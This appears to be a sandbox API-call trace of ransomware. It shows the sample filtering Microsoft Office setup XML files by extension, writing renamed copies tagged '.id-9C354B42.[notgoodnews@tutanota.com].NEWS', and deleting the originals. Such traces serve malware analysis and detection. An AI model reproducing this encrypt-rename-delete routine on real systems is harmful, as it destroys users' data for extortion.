[0060.299] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0060.299] lstrlenW (lpString=".zip") returned 4 [0060.299] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.299] lstrlenW (lpString=".rar") returned 4 [0060.299] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.299] lstrlenW (lpString=".bz2") returned 4 [0060.299] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.300] lstrlenW (lpString=".7z") returned 3 [0060.300] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0060.300] lstrlenW (lpString=".dbf") returned 4 [0060.300] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0060.300] lstrlenW (lpString=".1cd") returned 4 [0060.300] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0060.300] lstrlenW (lpString=".jpg") returned 4 [0060.300] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.300] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0060.300] lstrlenW (lpString="SETUP.XML") returned 9 [0060.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.301] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=5884) returned 1 [0060.301] CloseHandle (hObject=0x214) returned 1 [0060.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0060.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0060.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.301] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.301] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0060.308] GetLastError () returned 0x0 [0060.308] ReadFile (in: hFile=0x214, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x16fc, lpOverlapped=0x0) returned 1 [0060.343] WriteFile (in: hFile=0x1e8, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0060.345] ReadFile (in: hFile=0x214, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.345] WriteFile (in: hFile=0x1e8, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.345] SetEndOfFile (hFile=0x1e8) returned 1 [0060.345] CloseHandle (hObject=0x1e8) returned 1 [0060.346] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.346] SetEndOfFile (hFile=0x214) returned 1 [0060.348] CloseHandle (hObject=0x214) returned 1 [0060.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0060.348] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1 [0060.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0060.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0060.349] lstrlenW (lpString=".doc") returned 4 [0060.349] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.349] lstrlenW (lpString=".docx") returned 5 [0060.349] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0060.349] lstrlenW (lpString=".pdf") returned 4 [0060.349] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.349] lstrlenW (lpString=".xls") returned 4 [0060.349] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.349] lstrlenW (lpString=".xlsx") returned 5 [0060.349] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0060.349] lstrlenW (lpString=".ppt") returned 4 [0060.349] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0060.350] lstrlenW (lpString=".zip") returned 4 [0060.350] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.350] lstrlenW (lpString=".rar") returned 4 [0060.350] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.350] lstrlenW (lpString=".bz2") returned 4 [0060.350] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.350] lstrlenW (lpString=".7z") returned 3 [0060.350] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0060.350] lstrlenW (lpString=".dbf") returned 4 [0060.350] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0060.350] lstrlenW (lpString=".1cd") returned 4 [0060.350] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0060.350] lstrlenW (lpString=".jpg") returned 4 [0060.350] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0060.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0060.351] lstrlenW (lpString=".doc") returned 4 [0060.351] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.351] lstrlenW (lpString=".docx") returned 5 [0060.351] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0060.351] lstrlenW (lpString=".pdf") returned 4 [0060.351] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.351] lstrlenW (lpString=".xls") returned 4 [0060.351] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.351] lstrlenW (lpString=".xlsx") returned 5 [0060.351] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0060.351] lstrlenW (lpString=".ppt") returned 4 [0060.351] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0060.351] lstrlenW (lpString=".zip") returned 4 [0060.351] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.351] lstrlenW (lpString=".rar") returned 4 [0060.351] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.351] lstrlenW (lpString=".bz2") returned 4 [0060.351] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.351] lstrlenW (lpString=".7z") returned 3 [0060.351] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0060.352] lstrlenW (lpString=".dbf") returned 4 [0060.352] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0060.352] lstrlenW (lpString=".1cd") returned 4 [0060.352] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0060.352] lstrlenW (lpString=".jpg") returned 4 [0060.352] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.352] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0060.352] lstrlenW (lpString="PublisherMUI.XML") returned 16 [0060.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.353] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1450) returned 1 [0060.365] CloseHandle (hObject=0x214) returned 1 [0060.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0060.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0060.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.374] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.374] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.375] GetLastError () returned 0x0 [0060.375] ReadFile (in: hFile=0x214, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0060.380] WriteFile (in: hFile=0x1f0, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0060.381] ReadFile (in: hFile=0x214, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.381] WriteFile (in: hFile=0x1f0, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0060.382] SetEndOfFile (hFile=0x1f0) returned 1 [0060.382] CloseHandle (hObject=0x1f0) returned 1 [0060.383] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.383] SetEndOfFile (hFile=0x214) returned 1 [0060.385] CloseHandle (hObject=0x214) returned 1 [0060.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0060.385] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0060.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0060.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0060.386] lstrlenW (lpString=".doc") returned 4 [0060.386] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.386] lstrlenW (lpString=".docx") returned 5 [0060.386] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0060.386] lstrlenW (lpString=".pdf") returned 4 [0060.386] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.386] lstrlenW (lpString=".xls") returned 4 [0060.386] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.386] lstrlenW (lpString=".xlsx") returned 5 [0060.386] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0060.776] lstrlenW (lpString=".ppt") returned 4 [0060.777] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0060.777] lstrlenW (lpString=".zip") returned 4 [0060.777] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.777] lstrlenW (lpString=".rar") returned 4 [0060.777] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.777] lstrlenW (lpString=".bz2") returned 4 [0060.777] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.777] lstrlenW (lpString=".7z") returned 3 [0060.777] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0060.777] lstrlenW (lpString=".dbf") returned 4 [0060.777] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0060.777] lstrlenW (lpString=".1cd") returned 4 [0060.777] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0060.777] lstrlenW (lpString=".jpg") returned 4 [0060.777] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0060.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0060.778] lstrlenW (lpString=".doc") returned 4 [0060.778] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.778] lstrlenW (lpString=".docx") returned 5 [0060.778] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0060.778] lstrlenW (lpString=".pdf") returned 4 [0060.778] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.778] lstrlenW (lpString=".xls") returned 4 [0060.778] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.778] lstrlenW (lpString=".xlsx") returned 5 [0060.778] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0060.778] lstrlenW (lpString=".ppt") returned 4 [0060.778] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0060.778] lstrlenW (lpString=".zip") returned 4 [0060.778] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.778] lstrlenW (lpString=".rar") returned 4 [0060.778] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.778] lstrlenW (lpString=".bz2") returned 4 [0060.778] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.778] lstrlenW (lpString=".7z") returned 3 [0060.778] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0060.779] lstrlenW (lpString=".dbf") returned 4 [0060.779] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0060.779] lstrlenW (lpString=".1cd") returned 4 [0060.779] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0060.779] lstrlenW (lpString=".jpg") returned 4 [0060.779] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.779] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0060.779] lstrlenW (lpString="SETUP.XML") returned 9 [0060.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0062.257] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=6241) returned 1 [0062.257] CloseHandle (hObject=0x1fc) returned 1 [0062.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0062.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0062.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0062.258] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.258] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0062.259] GetLastError () returned 0x0 [0062.259] ReadFile (in: hFile=0x1fc, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x1861, lpOverlapped=0x0) returned 1 [0062.262] WriteFile (in: hFile=0x218, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0062.264] ReadFile (in: hFile=0x1fc, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.264] WriteFile (in: hFile=0x218, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.265] SetEndOfFile (hFile=0x218) returned 1 [0062.265] CloseHandle (hObject=0x218) returned 1 [0062.266] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.266] SetEndOfFile (hFile=0x1fc) returned 1 [0062.268] CloseHandle (hObject=0x1fc) returned 1 [0062.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0062.268] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0062.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0062.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0062.268] lstrlenW (lpString=".doc") returned 4 [0062.268] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0062.268] lstrlenW (lpString=".docx") returned 5 [0062.269] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0062.269] lstrlenW (lpString=".pdf") returned 4 [0062.269] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0062.269] lstrlenW (lpString=".xls") returned 4 [0062.269] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0062.269] lstrlenW (lpString=".xlsx") returned 5 [0062.269] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0062.269] lstrlenW (lpString=".ppt") returned 4 [0062.269] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0062.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0062.269] lstrlenW (lpString=".zip") returned 4 [0062.269] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0062.269] lstrlenW (lpString=".rar") returned 4 [0062.269] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0062.269] lstrlenW (lpString=".bz2") returned 4 [0062.269] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0062.269] lstrlenW (lpString=".7z") returned 3 [0062.269] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0062.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0062.269] lstrlenW (lpString=".dbf") returned 4 [0062.269] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0062.270] lstrlenW (lpString="C:\\Program 